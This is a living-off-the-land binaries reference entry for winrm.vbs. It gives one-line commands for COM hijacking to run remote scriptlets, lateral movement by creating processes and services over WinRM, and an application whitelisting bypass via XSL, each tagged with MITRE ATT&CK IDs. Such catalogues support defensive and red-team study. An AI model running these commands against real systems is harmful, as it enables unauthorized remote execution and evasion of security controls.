.. / winrm.vbs
Star

Script used for manage Windows RM settings


Paths:


Resources:
https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
https://www.youtube.com/watch?v=3gz1QmiMhss
https://github.com/enigma0x3/windows-operating-system-archaeology
https://redcanary.com/blog/lateral-movement-winrm-wmi/
https://twitter.com/bohops/status/994405551751815170
https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

Acknowledgement:
Matt Graeber - @mattifestation
Matt Nelson - @enigma0x3
Casey Smith - @subtee
Jimmy - @bohops
Red Canary Company cc Tony Lambert - @redcanaryco


Detection:



Execute

Hijack the Scripting.Dictionary COM Object to execute remote scriptlet (SCT) code.
reg.exe import c:\path\to\Slmgr.reg & winrm quickconfig
Usecase:Proxy execution
Privileges required:User
OS:Windows 10
Mitre:T1216



Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985
Usecase:Proxy execution
Privileges required:User
OS:Windows 10
Mitre:T1216



Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol
winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k c:\windows\system32\notepad.exe"} -r:http://acmedc:5985   \nwinrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985
Usecase:Proxy execution
Privileges required:User
OS:Windows 10
Mitre:T1216



AWL bypass

Bypass AWL solutions by copying and executing cscript.exe and malicious XSL documents from attacker controlled location
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
Usecase:Execute aribtrary, unsigned code via XSL script
Privileges required:User
OS:Windows 10
Mitre:T1216